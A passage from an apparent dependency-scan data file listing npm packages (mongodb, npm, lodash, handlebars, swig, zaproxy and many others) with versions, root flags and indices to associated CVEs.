[65, 66]}, {'name': 'mongodb', 'version': '2.2.36', 'root': True, 'cves_index': [143, 144, 55], 'vulnerable_dependencies': [123]}, {'name': 'mongodb-core', 'version': '2.1.20', 'root': False}, {'name': 'readable-stream', 'version': '2.2.7', 'root': False}, {'name': 'string_decoder', 'version': '1.0.3', 'root': False}, {'name': 'safe-buffer', 'version': '5.1.2', 'root': False}, {'name': 'util-deprecate', 'version': '1.0.2', 'root': False}, {'name': 'require_optional', 'version': '1.0.1', 'root': False}, {'name': 'mute-stream', 'version': '0.0.8', 'root': False}, {'name': 'secure-keys', 'version': '1.0.0', 'root': False}, {'name': 'yargs', 'version': '3.32.0', 'root': False}, {'name': 'needle', 'version': '2.2.4', 'root': True}, {'name': 'sax', 'version': '1.2.4', 'root': False}, {'name': 'nice-try', 'version': '1.0.5', 'root': False}, {'name': 'depd', 'version': '1.1.0', 'root': False}, {'name': 'node-esapi', 'version': '0.0.1', 'root': True}, {'name': 'nodemon', 'version': '1.19.4', 'root': True}, {'name': 'nodeunit', 'version': '0.9.5', 'root': False}, {'name': 'nopt', 'version': '3.0.6', 'root': False}, {'name': 'normalize-package-data', 'version': '2.5.0', 'root': False}, {'name': 'npm', 'version': '3.10.10', 'root': False, 'cves_index': [50, 51, 52, 53, 54]}, {'name': 'abbrev', 'version': '1.0.9', 'root': False}, {'name': 'ansi-regex', 'version': '2.0.0', 'root': False}, {'name': 'ansicolors', 'version': '0.3.2', 'root': False}, {'name': 'ansistyles', 'version': '0.1.3', 'root': False}, {'name': 'aproba', 'version': '1.0.4', 'root': False}, {'name': 'archy', 'version': '1.0.0', 'root': False}, {'name': 'asap', 'version': '2.0.5', 'root': False}, {'name': 'chownr', 'version': '1.0.1', 'root': False, 'cves_index': [63]}, {'name': 'cmd-shim', 'version': '2.0.2', 'root': False}, {'name': 'columnify', 'version': '1.5.4', 'root': False}, {'name': 'wcwidth', 'version': '1.0.0', 'root': False}, {'name': 'defaults', 'version': '1.0.3', 'root': False}, {'name': 'clone', 'version': '1.0.2', 'root': False}, {'name': 'config-chain', 'version': '1.1.11', 'root': False}, {'name': 'proto-list', 'version': '1.2.4', 'root': False}, {'name': 'editor', 'version': '1.0.0', 'root': False}, {'name': 'fs-vacuum', 'version': '1.2.9', 'root': False}, {'name': 'fs-write-stream-atomic', 'version': '1.0.8', 'root': False}, {'name': 'fstream', 'version': '1.0.10', 'root': False, 'cves_index': [64]}, {'name': 'fstream-npm', 'version': '1.2.0', 'root': False}, {'name': 'fstream-ignore', 'version': '1.0.5', 'root': False}, {'name': 'minimatch', 'version': '3.0.3', 'root': False, 'cves_index': [61, 62]}, {'name': 'brace-expansion', 'version': '1.1.6', 'root': False, 'cves_index': [60]}, {'name': 'balanced-match', 'version': '0.4.2', 'root': False}, {'name': 'glob', 'version': '7.1.0', 'root': False}, {'name': 'graceful-fs', 'version': '4.1.9', 'root': False}, {'name': 'has-unicode', 'version': '2.0.1', 'root': False}, {'name': 'hosted-git-info', 'version': '2.1.5', 'root': False, 'cves_index': [49]}, {'name': 'iferr', 'version': '0.1.5', 'root': False}, {'name': 'inflight', 'version': '1.0.5', 'root': False}, {'name': 'inherits', 'version': '2.0.3', 'root': False}, {'name': 'ini', 'version': '1.3.4', 'root': False, 'cves_index': [56]}, {'name': 'init-package-json', 'version': '1.9.4', 'root': False}, {'name': 'glob', 'version': '6.0.4', 'root': False}, {'name': 'path-is-absolute', 'version': '1.0.0', 'root': False}, {'name': 'promzard', 'version': '0.3.0', 'root': False}, {'name': 'lockfile', 'version': '1.0.2', 'root': False}, {'name': 'lodash._baseindexof', 'version': '3.1.0', 'root': False}, {'name': 'lodash._baseuniq', 'version': '4.6.0', 'root': False}, {'name': 'lodash._createset', 'version': '4.0.3', 'root': False}, {'name': 'lodash._root', 'version': '3.0.1', 'root': False}, {'name': 'lodash._bindcallback', 'version': '3.0.1', 'root': False}, {'name': 'lodash._cacheindexof', 'version': '3.0.2', 'root': False}, {'name': 'lodash._createcache', 'version': '3.1.2', 'root': False}, {'name': 'lodash._getnative', 'version': '3.9.1', 'root': False}, {'name': 'lodash.clonedeep', 'version': '4.5.0', 'root': False}, {'name': 'lodash.restparam', 'version': '3.6.1', 'root': False}, {'name': 'lodash.union', 'version': '4.6.0', 'root': False}, {'name': 'lodash.uniq', 'version': '4.5.0', 'root': False}, {'name': 'lodash.without', 'version': '4.4.0', 'root': False}, {'name': 'node-gyp', 'version': '3.4.0', 'root': False}, {'name': 'npmlog', 'version': '3.1.2', 'root': False}, {'name': 'are-we-there-yet', 'version': '1.1.2', 'root': False}, {'name': 'delegates', 'version': '1.0.0', 'root': False}, {'name': 'console-control-strings', 'version': '1.1.0', 'root': False}, {'name': 'gauge', 'version': '2.6.0', 'root': False}, {'name': 'has-color', 'version': '0.1.7', 'root': False}, {'name': 'object-assign', 'version': '4.1.0', 'root': False}, {'name': 'signal-exit', 'version': '3.0.0', 'root': False}, {'name': 'code-point-at', 'version': '1.0.0', 'root': False}, {'name': 'number-is-nan', 'version': '1.0.0', 'root': False}, {'name': 'wide-align', 'version': '1.1.0', 'root': False}, {'name': 'set-blocking', 'version': '2.0.0', 'root': False}, {'name': 'path-array', 'version': '1.0.1', 'root': False}, {'name': 'array-index', 'version': '1.0.0', 'root': False}, {'name': 'es6-symbol', 'version': '3.1.0', 'root': False}, {'name': 'd', 'version': '0.1.1', 'root': False}, {'name': 'es5-ext', 'version': '0.10.12', 'root': False}, {'name': 'es6-iterator', 'version': '2.0.0', 'root': False}, {'name': 'normalize-git-url', 'version': '3.0.2', 'root': False}, {'name': 'normalize-package-data', 'version': '2.3.5', 'root': False}, {'name': 'is-builtin-module', 'version': '1.0.0', 'root': False}, {'name': 'builtin-modules', 'version': '1.1.1', 'root': False}, {'name': 'npm-cache-filename', 'version': '1.0.2', 'root': False}, {'name': 'npm-install-checks', 'version': '3.0.0', 'root': False}, {'name': 'npm-package-arg', 'version': '4.2.0', 'root': False}, {'name': 'npm-registry-client', 'version': '7.2.1', 'root': False}, {'name': 'concat-stream', 'version': '1.5.2', 'root': False}, {'name': 'typedarray', 'version': '0.0.6', 'root': False}, {'name': 'retry', 'version': '0.10.0', 'root': False}, {'name': 'npm-user-validate', 'version': '0.1.5', 'root': False, 'cves_index': [74, 75]}, {'name': 'npmlog', 'version': '4.0.0', 'root': False}, {'name': 'opener', 'version': '1.4.2', 'root': False}, {'name': 'osenv', 'version': '0.1.3', 'root': False}, {'name': 'os-homedir', 'version': '1.0.1', 'root': False}, {'name': 'os-tmpdir', 'version': '1.0.1', 'root': False}, {'name': 'path-is-inside', 'version': '1.0.2', 'root': False}, {'name': 'read', 'version': '1.0.7', 'root': False}, {'name': 'mute-stream', 'version': '0.0.5', 'root': False}, {'name': 'read-cmd-shim', 'version': '1.0.1', 'root': False}, {'name': 'read-installed', 'version': '4.0.3', 'root': False}, {'name': 'util-extend', 'version': '1.0.3', 'root': False}, {'name': 'read-package-json', 'version': '2.0.4', 'root': False}, {'name': 'json-parse-helpfulerror', 'version': '1.0.3', 'root': False}, {'name': 'jju', 'version': '1.3.0', 'root': False}, {'name': 'read-package-tree', 'version': '5.1.5', 'root': False}, {'name': 'readable-stream', 'version': '2.1.5', 'root': False}, {'name': 'readdir-scoped-modules', 'version': '1.0.2', 'root': False}, {'name': 'realize-package-specifier', 'version': '3.0.3', 'root': False}, {'name': 'request', 'version': '2.75.0', 'root': False}, {'name': 'aws4', 'version': '1.4.1', 'root': False}, {'name': 'bl', 'version': '1.1.2', 'root': False, 'cves_index': [72]}, {'name': 'combined-stream', 'version': '1.0.5', 'root': False}, {'name': 'extend', 'version': '3.0.0', 'root': False, 'cves_index': [88]}, {'name': 'form-data', 'version': '2.0.0', 'root': False}, {'name': 'commander', 'version': '2.9.0', 'root': False}, {'name': 'graceful-readlink', 'version': '1.0.1', 'root': False}, {'name': 'is-my-json-valid', 'version': '2.15.0', 'root': False, 'cves_index': [70, 71]}, {'name': 'generate-function', 'version': '2.0.0', 'root': False}, {'name': 'jsonpointer', 'version': '4.0.0', 'root': False, 'cves_index': [86]}, {'name': 'xtend', 'version': '4.0.1', 'root': False}, {'name': 'pinkie-promise', 'version': '2.0.1', 'root': False}, {'name': 'pinkie', 'version': '2.0.4', 'root': False}, {'name': 'sntp', 'version': '1.0.9', 'root': False}, {'name': 'jsprim', 'version': '1.3.1', 'root': False}, {'name': 'extsprintf', 'version': '1.0.2', 'root': False}, {'name': 'json-schema', 'version': '0.2.3', 'root': False, 'cves_index': [85]}, {'name': 'verror', 'version': '1.3.6', 'root': False}, {'name': 'sshpk', 'version': '1.10.1', 'root': False}, {'name': 'asn1', 'version': '0.2.3', 'root': False}, {'name': 'bcrypt-pbkdf', 'version': '1.0.0', 'root': False}, {'name': 'dashdash', 'version': '1.14.0', 'root': False}, {'name': 'ecc-jsbn', 'version': '0.1.1', 'root': False}, {'name': 'getpass', 'version': '0.1.6', 'root': False}, {'name': 'jodid25519', 'version': '1.0.2', 'root': False}, {'name': 'jsbn', 'version': '0.1.0', 'root': False}, {'name': 'tweetnacl', 'version': '0.14.3', 'root': False}, {'name': 'mime-types', 'version': '2.1.12', 'root': False}, {'name': 'mime-db', 'version': '1.24.0', 'root': False}, {'name': 'node-uuid', 'version': '1.4.7', 'root': False}, {'name': 'qs', 'version': '6.2.1', 'root': False, 'cves_index': [67, 68, 69]}, {'name': 'stringstream', 'version': '0.0.5', 'root': False, 'cves_index': [73]}, {'name': 'tough-cookie', 'version': '2.3.1', 'root': False, 'cves_index': [87]}, {'name': 'rimraf', 'version': '2.5.4', 'root': False}, {'name': 'semver', 'version': '5.3.0', 'root': False}, {'name': 'sha', 'version': '2.0.1', 'root': False}, {'name': 'slide', 'version': '1.1.6', 'root': False}, {'name': 'sorted-object', 'version': '2.0.1', 'root': False}, {'name': 'tar', 'version': '2.2.1', 'root': False, 'cves_index': [78, 79, 80, 81, 82, 83, 84]}, {'name': 'block-stream', 'version': '0.0.8', 'root': False}, {'name': 'text-table', 'version': '0.2.0', 'root': False}, {'name': 'uid-number', 'version': '0.0.6', 'root': False}, {'name': 'umask', 'version': '1.1.0', 'root': False}, {'name': 'unique-filename', 'version': '1.1.0', 'root': False}, {'name': 'unique-slug', 'version': '2.0.0', 'root': False}, {'name': 'validate-npm-package-license', 'version': '3.0.1', 'root': False}, {'name': 'spdx-correct', 'version': '1.0.2', 'root': False}, {'name': 'spdx-license-ids', 'version': '1.2.0', 'root': False}, {'name': 'spdx-expression-parse', 'version': '1.0.2', 'root': False}, {'name': 'spdx-exceptions', 'version': '1.0.4', 'root': False}, {'name': 'validate-npm-package-name', 'version': '2.2.2', 'root': False}, {'name': 'builtins', 'version': '0.0.7', 'root': False}, {'name': 'which', 'version': '1.2.11', 'root': False}, {'name': 'isexe', 'version': '1.1.2', 'root': False}, {'name': 'write-file-atomic', 'version': '1.2.0', 'root': False}, {'name': 'npm-normalize-package-bin', 'version': '1.0.1', 'root': False}, {'name': 'npm-run-path', 'version': '2.0.2', 'root': False}, {'name': 'nyc', 'version': '7.1.0', 'root': False}, {'name': 'align-text', 'version': '0.1.4', 'root': False}, {'name': 'amdefine', 'version': '1.0.0', 'root': False}, {'name': 'append-transform', 'version': '0.3.0', 'root': False}, {'name': 'arr-diff', 'version': '2.0.0', 'root': False}, {'name': 'arr-flatten', 'version': '1.0.1', 'root': False}, {'name': 'array-unique', 'version': '0.2.1', 'root': False}, {'name': 'babel-code-frame', 'version': '6.11.0', 'root': False}, {'name': 'babel-generator', 'version': '6.11.4', 'root': False}, {'name': 'babel-messages', 'version': '6.8.0', 'root': False}, {'name': 'babel-runtime', 'version': '6.9.2', 'root': False}, {'name': 'babel-template', 'version': '6.9.0', 'root': False}, {'name': 'babel-traverse', 'version': '6.11.4', 'root': False}, {'name': 'babel-types', 'version': '6.11.1', 'root': False}, {'name': 'babylon', 'version': '6.8.4', 'root': False}, {'name': 'braces', 'version': '1.8.5', 'root': False, 'cves_index': [76, 77]}, {'name': 'caching-transform', 'version': '1.0.1', 'root': False}, {'name': 'camelcase', 'version': '1.2.1', 'root': False}, {'name': 'center-align', 'version': '0.1.3', 'root': False}, {'name': 'cliui', 'version': '2.1.0', 'root': False}, {'name': 'wordwrap', 'version': '0.0.2', 'root': False}, {'name': 'commondir', 'version': '1.0.1', 'root': False}, {'name': 'convert-source-map', 'version': '1.3.0', 'root': False}, {'name': 'core-js', 'version': '2.4.1', 'root': False}, {'name': 'cross-spawn', 'version': '4.0.0', 'root': False}, {'name': 'default-require-extensions', 'version': '1.0.0', 'root': False}, {'name': 'detect-indent', 'version': '3.0.1', 'root': False}, {'name': 'error-ex', 'version': '1.3.0', 'root': False}, {'name': 'esutils', 'version': '2.0.2', 'root': False}, {'name': 'expand-brackets', 'version': '0.1.5', 'root': False}, {'name': 'expand-range', 'version': '1.8.2', 'root': False}, {'name': 'extglob', 'version': '0.3.2', 'root': False}, {'name': 'filename-regex', 'version': '2.0.0', 'root': False}, {'name': 'fill-range', 'version': '2.2.3', 'root': False}, {'name': 'find-cache-dir', 'version': '0.1.1', 'root': False}, {'name': 'for-in', 'version': '0.1.5', 'root': False}, {'name': 'for-own', 'version': '0.1.4', 'root': False}, {'name': 'foreground-child', 'version': '1.5.3', 'root': False}, {'name': 'get-caller-file', 'version': '1.0.1', 'root': False}, {'name': 'glob', 'version': '7.0.5', 'root': False}, {'name': 'glob-base', 'version': '0.3.0', 'root': False}, {'name': 'glob-parent', 'version': '2.0.0', 'root': False, 'cves_index': [112]}, {'name': 'globals', 'version': '8.18.0', 'root': False}, {'name': 'graceful-fs', 'version': '4.1.4', 'root': False}, {'name': 'handlebars', 'version': '4.0.5', 'root': False, 'cves_index': [96, 97, 98, 99, 100, 101, 92, 93, 94, 95]}, {'name': 'source-map', 'version': '0.4.4', 'root': False}, {'name': 'has-flag', 'version': '1.0.0', 'root': False}, {'name': 'inherits', 'version': '2.0.1', 'root': False}, {'name': 'invariant', 'version': '2.2.1', 'root': False}, {'name': 'is-buffer', 'version': '1.1.3', 'root': False}, {'name': 'is-dotfile', 'version': '1.0.2', 'root': False}, {'name': 'is-equal-shallow', 'version': '0.1.3', 'root': False}, {'name': 'is-extglob', 'version': '1.0.0', 'root': False}, {'name': 'is-finite', 'version': '1.0.1', 'root': False}, {'name': 'is-glob', 'version': '2.0.1', 'root': False}, {'name': 'is-number', 'version': '2.1.0', 'root': False}, {'name': 'is-posix-bracket', 'version': '0.1.1', 'root': False}, {'name': 'is-primitive', 'version': '2.0.0', 'root': False}, {'name': 'isobject', 'version': '2.1.0', 'root': False}, {'name': 'istanbul-lib-coverage', 'version': '1.0.0-alpha.4', 'root': False}, {'name': 'istanbul-lib-hook', 'version': '1.0.0-alpha.4', 'root': False}, {'name': 'istanbul-lib-instrument', 'version': '1.1.0-alpha.4', 'root': False}, {'name': 'istanbul-lib-report', 'version': '1.0.0-alpha.3', 'root': False}, {'name': 'supports-color', 'version': '3.1.2', 'root': False}, {'name': 'istanbul-lib-source-maps', 'version': '1.0.0-alpha.10', 'root': False}, {'name': 'istanbul-reports', 'version': '1.0.0-alpha.8', 'root': False, 'cves_index': [90]}, {'name': 'js-tokens', 'version': '2.0.0', 'root': False}, {'name': 'kind-of', 'version': '3.0.3', 'root': False}, {'name': 'lazy-cache', 'version': '1.0.4', 'root': False}, {'name': 'lodash', 'version': '4.13.1', 'root': False, 'cves_index': [103, 104, 105, 106, 107, 108, 109]}, {'name': 'lodash.assign', 'version': '4.0.9', 'root': False}, {'name': 'lodash.keys', 'version': '4.0.7', 'root': False}, {'name': 'lodash.rest', 'version': '4.0.3', 'root': False}, {'name': 'longest', 'version': '1.0.1', 'root': False}, {'name': 'loose-envify', 'version': '1.2.0', 'root': False}, {'name': 'js-tokens', 'version': '1.0.3', 'root': False}, {'name': 'lru-cache', 'version': '4.0.1', 'root': False}, {'name': 'md5-hex', 'version': '1.3.0', 'root': False}, {'name': 'md5-o-matic', 'version': '0.1.1', 'root': False}, {'name': 'micromatch', 'version': '2.3.11', 'root': False}, {'name': 'minimatch', 'version': '3.0.2', 'root': False, 'cves_index': [110, 111]}, {'name': 'normalize-path', 'version': '2.0.1', 'root': False}, {'name': 'object.omit', 'version': '2.0.0', 'root': False}, {'name': 'once', 'version': '1.3.3', 'root': False}, {'name': 'os-locale', 'version': '1.4.0', 'root': False}, {'name': 'parse-glob', 'version': '3.0.4', 'root': False}, {'name': 'parse-json', 'version': '2.2.0', 'root': False}, {'name': 'path-exists', 'version': '2.1.0', 'root': False}, {'name': 'path-parse', 'version': '1.0.5', 'root': False, 'cves_index': [102]}, {'name': 'path-type', 'version': '1.1.0', 'root': False}, {'name': 'pify', 'version': '2.3.0', 'root': False}, {'name': 'pkg-dir', 'version': '1.0.0', 'root': False}, {'name': 'pkg-up', 'version': '1.0.0', 'root': False}, {'name': 'preserve', 'version': '0.2.0', 'root': False}, {'name': 'pseudomap', 'version': '1.0.2', 'root': False}, {'name': 'randomatic', 'version': '1.1.5', 'root': False, 'cves_index': [91]}, {'name': 'read-pkg', 'version': '1.1.0', 'root': False}, {'name': 'read-pkg-up', 'version': '1.0.1', 'root': False}, {'name': 'regenerator-runtime', 'version': '0.9.5', 'root': False}, {'name': 'regex-cache', 'version': '0.4.3', 'root': False}, {'name': 'repeat-element', 'version': '1.1.2', 'root': False}, {'name': 'repeat-string', 'version': '1.5.4', 'root': False}, {'name': 'repeating', 'version': '1.1.3', 'root': False}, {'name': 'require-directory', 'version': '2.1.1', 'root': False}, {'name': 'require-main-filename', 'version': '1.0.1', 'root': False}, {'name': 'resolve-from', 'version': '2.0.0', 'root': False}, {'name': 'right-align', 'version': '0.1.3', 'root': False}, {'name': 'source-map', 'version': '0.5.6', 'root': False}, {'name': 'spawn-wrap', 'version': '1.2.4', 'root': False}, {'name': 'signal-exit', 'version': '2.1.2', 'root': False}, {'name': 'spdx-exceptions', 'version': '1.0.5', 'root': False}, {'name': 'spdx-license-ids', 'version': '1.2.1', 'root': False}, {'name': 'string-width', 'version': '1.0.1', 'root': False}, {'name': 'strip-bom', 'version': '2.0.0', 'root': False}, {'name': 'test-exclude', 'version': '1.1.0', 'root': False}, {'name': 'to-fast-properties', 'version': '1.0.2', 'root': False}, {'name': 'uglify-js', 'version': '2.7.0', 'root': False, 'cves_index': [89]}, {'name': 'yargs', 'version': '3.10.0', 'root': False}, {'name': 'uglify-to-browserify', 'version': '1.0.2', 'root': False}, {'name': 'which', 'version': '1.2.10', 'root': False}, {'name': 'which-module', 'version': '1.0.0', 'root': False}, {'name': 'window-size', 'version': '0.1.0', 'root': False}, {'name': 'wrap-ansi', 'version': '2.0.0', 'root': False}, {'name': 'write-file-atomic', 'version': '1.1.4', 'root': False}, {'name': 'y18n', 'version': '3.2.1', 'root': False, 'cves_index': [117]}, {'name': 'yallist', 'version': '2.0.0', 'root': False}, {'name': 'yargs', 'version': '4.8.1', 'root': False}, {'name': 'window-size', 'version': '0.2.0', 'root': False}, {'name': 'yargs-parser', 'version': '2.4.1', 'root': False, 'cves_index': [114]}, {'name': 'camelcase', 'version': '3.0.0', 'root': False}, {'name': 'oauth-sign', 'version': '0.9.0', 'root': False}, {'name': 'object-copy', 'version': '0.1.0', 'root': False}, {'name': 'object.defaults', 'version': '1.1.0', 'root': False}, {'name': 'object.map', 'version': '1.0.1', 'root': False}, {'name': 'onetime', 'version': '1.1.0', 'root': False}, {'name': 'only-shallow', 'version': '1.2.0', 'root': False}, {'name': 'opener', 'version': '1.5.2', 'root': False}, {'name': 'options', 'version': '0.0.6', 'root': False}, {'name': 'ora', 'version': '0.2.3', 'root': False}, {'name': 'os-homedir', 'version': '1.0.2', 'root': False}, {'name': 'os-tmpdir', 'version': '1.0.2', 'root': False}, {'name': 'osenv', 'version': '0.1.5', 'root': False}, {'name': 'p-finally', 'version': '1.0.0', 'root': False}, {'name': 'p-map', 'version': '1.2.0', 'root': False}, {'name': 'package-json', 'version': '4.0.1', 'root': False}, {'name': 'pad-stream', 'version': '1.2.0', 'root': False}, {'name': 'parse-filepath', 'version': '1.0.2', 'root': False}, {'name': 'parse-passwd', 'version': '1.0.0', 'root': False}, {'name': 'path-key', 'version': '3.1.1', 'root': False}, {'name': 'path-parse', 'version': '1.0.7', 'root': False}, {'name': 'path-root', 'version': '0.1.1', 'root': False}, {'name': 'path-root-regex', 'version': '0.1.2', 'root': False}, {'name': 'pend', 'version': '1.2.0', 'root': False}, {'name': 'performance-now', 'version': '2.1.0', 'root': False}, {'name': 'picomatch', 'version': '2.3.1', 'root': False}, {'name': 'prepend-http', 'version': '1.0.4', 'root': False}, {'name': 'colors', 'version': '1.4.0', 'root': False}, {'name': 'process-nextick-args', 'version': '2.0.1', 'root': False}, {'name': 'revalidator', 'version': '0.1.8', 'root': False}, {'name': 'psl', 'version': '1.8.0', 'root': False}, {'name': 'pstree.remy', 'version': '1.1.8', 'root': False}, {'name': 'pump', 'version': '2.0.1', 'root': False}, {'name': 'pumpify', 'version': '1.5.1', 'root': False}, {'name': 'punycode', 'version': '2.1.1', 'root': False}, {'name': 'q', 'version': '1.5.1', 'root': False}, {'name': 'querystring', 'version': '0.2.0', 'root': False}, {'name': 'ramda', 'version': '0.24.1', 'root': False, 'cves_index': [113]}, {'name': 'random-bytes', 'version': '1.0.0', 'root': False}, {'name': 'rc', 'version': '1.2.8', 'root': False}, {'name': 'strip-json-comments', 'version': '2.0.1', 'root': False}, {'name': 'read-package-json', 'version': '2.1.2', 'root': False}, {'name': 'readable-stream', 'version': '2.3.7', 'root': False}, {'name': 'string_decoder', 'version': '1.1.1', 'root': False}, {'name': 'readdir-scoped-modules', 'version': '1.1.0', 'root': False}, {'name': 'rechoir', 'version': '0.7.1', 'root': False}, {'name': 'redent', 'version': '1.0.0', 'root': False}, {'name': 'safe-regex', 'version': '1.1.0', 'root': False}, {'name': 'registry-auth-token', 'version': '3.4.0', 'root': False}, {'name': 'registry-url', 'version': '3.1.0', 'root': False}, {'name': 'repeating', 'version': '2.0.1', 'root': False}, {'name': 'request', 'version': '2.88.0', 'root': False}, {'name': 'qs', 'version': '6.5.3', 'root': False}, {'name': 'request-progress', 'version': '3.0.0', 'root': False}, {'name': 'semver', 'version': '5.7.1', 'root': False}, {'name': 'resolve', 'version': '1.22.0', 'root': False}, {'name': 'resolve-dir', 'version': '1.0.1', 'root': False}, {'name': 'resolve-url', 'version': '0.2.1', 'root': False}, {'name': 'restore-cursor', 'version': '1.0.1', 'root': False}, {'name': 'resumer', 'version': '0.0.0', 'root': False}, {'name': 'through', 'version': '2.3.8', 'root': False}, {'name': 'ret', 'version': '0.1.15', 'root': False}, {'name': 'retire', 'version': '1.1.6', 'root': False}, {'name': 'commander', 'version': '2.5.1', 'root': False}, {'name': 'underscore', 'version': '1.8.3', 'root': False}, {'name': 'rxjs', 'version': '5.5.12', 'root': False}, {'name': 'safe-json-parse', 'version': '1.0.1', 'root': False}, {'name': 'selenium-webdriver', 'version': '2.53.3', 'root': True}, {'name': 'tmp', 'version': '0.0.24', 'root': False}, {'name': 'semver-diff', 'version': '2.1.0', 'root': False}, {'name': 'serve-favicon', 'version': '2.5.0', 'root': True}, {'name': 'ms', 'version': '2.1.1', 'root': False}, {'name': 'safe-buffer', 'version': '5.1.1', 'root': False}, {'name': 'shebang-command', 'version': '2.0.0', 'root': False}, {'name': 'shebang-regex', 'version': '3.0.0', 'root': False}, {'name': 'shelljs', 'version': '0.3.0', 'root': False, 'cves_index': [115, 116]}, {'name': 'should', 'version': '8.4.0', 'root': True}, {'name': 'should-equal', 'version': '0.8.0', 'root': False}, {'name': 'should-format', 'version': '0.3.2', 'root': False}, {'name': 'should-type', 'version': '0.2.0', 'root': False}, {'name': 'strip-json-comments', 'version': '0.1.3', 'root': False}, {'name': 'sigmund', 'version': '1.0.1', 'root': False}, {'name': 'signal-exit', 'version': '3.0.7', 'root': False}, {'name': 'slice-ansi', 'version': '0.0.4', 'root': False}, {'name': 'source-map', 'version': '0.5.7', 'root': False}, {'name': 'source-map-resolve', 'version': '0.5.3', 'root': False}, {'name': 'use', 'version': '3.1.1', 'root': False}, {'name': 'snapdragon-util', 'version': '3.0.1', 'root': False}, {'name': 'source-map-url', 'version': '0.4.1', 'root': False}, {'name': 'urix', 'version': '0.1.0', 'root': False}, {'name': 'spdx-correct', 'version': '3.1.1', 'root': False}, {'name': 'spdx-exceptions', 'version': '2.3.0', 'root': False}, {'name': 'spdx-expression-parse', 'version': '3.0.1', 'root': False}, {'name': 'spdx-license-ids', 'version': '3.0.11', 'root': False}, {'name': 'split2', 'version': '1.1.1', 'root': False}, {'name': 'sprintf-js', 'version': '1.1.2', 'root': False}, {'name': 'sshpk', 'version': '1.17.0', 'root': False}, {'name': 'stack-utils', 'version': '0.4.0', 'root': False}, {'name': 'stream-shift', 'version': '1.0.1', 'root': False}, {'name': 'stream-to-observable', 'version': '0.1.0', 'root': False}, {'name': 'string-template', 'version': '0.2.1', 'root': False}, {'name': 'stringstream', 'version': '0.0.6', 'root': False}, {'name': 'strip-eof', 'version': '1.0.0', 'root': False}, {'name': 'strip-indent', 'version': '1.0.1', 'root': False}, {'name': 'supports-color', 'version': '5.5.0', 'root': False}, {'name': 'supports-preserve-symlinks-flag', 'version': '1.0.0', 'root': False}, {'name': 'swig', 'version': '1.4.2', 'root': True, 'vulnerable_dependencies': [113, 1017]}, {'name': 'uglify-js', 'version': '2.4.24', 'root': False, 'cves_index': [140, 141]}, {'name': 'symbol-observable', 'version': '1.0.1', 'root': False}, {'name': 'tap', 'version': '7.1.2', 'root': False}, {'name': 'tap-mocha-reporter', 'version': '2.0.1', 'root': False, 'cves_index': [120, 119]}, {'name': 'tap-parser', 'version': '2.2.3', 'root': False}, {'name': 'deep-equal', 'version': '0.1.2', 'root': False}, {'name': 'term-size', 'version': '1.2.0', 'root': False}, {'name': 'cross-spawn', 'version': '5.1.0', 'root': False}, {'name': 'execa', 'version': '0.7.0', 'root': False}, {'name': 'throttleit', 'version': '1.0.0', 'root': False}, {'name': 'through2', 'version': '2.0.5', 'root': False}, {'name': 'timed-out', 'version': '4.0.1', 'root': False}, {'name': 'tiny-lr', 'version': '1.1.1', 'root': False}, {'name': 'tmatch', 'version': '2.0.1', 'root': False}, {'name': 'tmp', 'version': '0.1.0', 'root': False}, {'name': 'to-iso-string', 'version': '0.0.2', 'root': False}, {'name': 'touch', 'version': '3.1.0', 'root': False}, {'name': 'nopt', 'version': '1.0.10', 'root': False}, {'name': 'tough-cookie', 'version': '2.4.3', 'root': False}, {'name': 'trim-newlines', 'version': '1.0.0', 'root': False, 'cves_index': [139]}, {'name': 'tunnel-agent', 'version': '0.6.0', 'root': False}, {'name': 'tweetnacl', 'version': '0.14.5', 'root': False}, {'name': 'source-map', 'version': '0.1.34', 'root': False}, {'name': 'yargs', 'version': '3.5.4', 'root': False}, {'name': 'ultron', 'version': '1.0.2', 'root': False}, {'name': 'unc-path-regex', 'version': '0.1.2', 'root': False}, {'name': 'undefsafe', 'version': '2.0.5', 'root': False}, {'name': 'underscore', 'version': '1.13.2', 'root': True}, {'name': 'underscore.string', 'version': '3.3.6', 'root': False}, {'name': 'unicode-length', 'version': '1.0.3', 'root': False}, {'name': 'unique-string', 'version': '1.0.0', 'root': False}, {'name': 'universalify', 'version': '0.1.2', 'root': False}, {'name': 'has-value', 'version': '0.3.1', 'root': False}, {'name': 'has-values', 'version': '0.1.4', 'root': False}, {'name': 'untildify', 'version': '3.0.3', 'root': False}, {'name': 'unzip-response', 'version': '2.0.1', 'root': False}, {'name': 'update-notifier', 'version': '2.5.0', 'root': False}, {'name': 'uri-js', 'version': '4.4.1', 'root': False}, {'name': 'url', 'version': '0.11.0', 'root': False}, {'name': 'punycode', 'version': '1.3.2', 'root': False}, {'name': 'url-parse-lax', 'version': '1.0.0', 'root': False}, {'name': 'async', 'version': '0.9.2', 'root': False}, {'name': 'deep-equal', 'version': '0.2.2', 'root': False}, {'name': 'ncp', 'version': '1.0.1', 'root': False}, {'name': 'uuid', 'version': '3.4.0', 'root': False}, {'name': 'v8flags', 'version': '3.2.0', 'root': False}, {'name': 'validate-npm-package-license', 'version': '3.0.4', 'root': False}, {'name': 'verror', 'version': '1.10.0', 'root': False}, {'name': 'walkdir', 'version': '0.0.7', 'root': False}, {'name': 'websocket-driver', 'version': '0.7.4', 'root': False}, {'name': 'websocket-extensions', 'version': '0.1.4', 'root': False}, {'name': 'which', 'version': '2.0.2', 'root': False}, {'name': 'widest-line', 'version': '2.0.1', 'root': False}, {'name': 'window-size', 'version': '0.1.4', 'root': False}, {'name': 'write-file-atomic', 'version': '2.4.3', 'root': False}, {'name': 'ws', 'version': '1.1.5', 'root': False}, {'name': 'xdg-basedir', 'version': '3.0.0', 'root': False}, {'name': 'xml2js', 'version': '0.4.4', 'root': False}, {'name': 'sax', 'version': '0.6.1', 'root': False}, {'name': 'xmlbuilder', 'version': '15.1.1', 'root': False}, {'name': 'xtend', 'version': '4.0.2', 'root': False}, {'name': 'y18n', 'version': '3.2.2', 'root': False}, {'name': 'yallist', 'version': '2.1.2', 'root': False}, {'name': 'yauzl', 'version': '2.10.0', 'root': False}, {'name': 'fd-slicer', 'version': '1.1.0', 'root': False}, {'name': 'zaproxy', 'version': '0.2.0', 'root': True}, {'name': 'asn1', 'version': '0.1.11', 'root': False}, {'name': 'assert-plus', 'version': '0.1.5', 'root': False}, {'name': 'aws-sign2', 'version': '0.5.0', 'root': False}, {'name': 'boom', 'version': '0.4.2', 'root': False}, {'name': 'combined-stream', 'version': '0.0.7', 'root': False}, {'name': 'cryptiles', 'version': '0.2.2', 'root': False, 'cves_index': [131]}, {'name': 'delayed-stream', 'version': '0.0.5', 'root': False}, {'name': 'forever-agent', 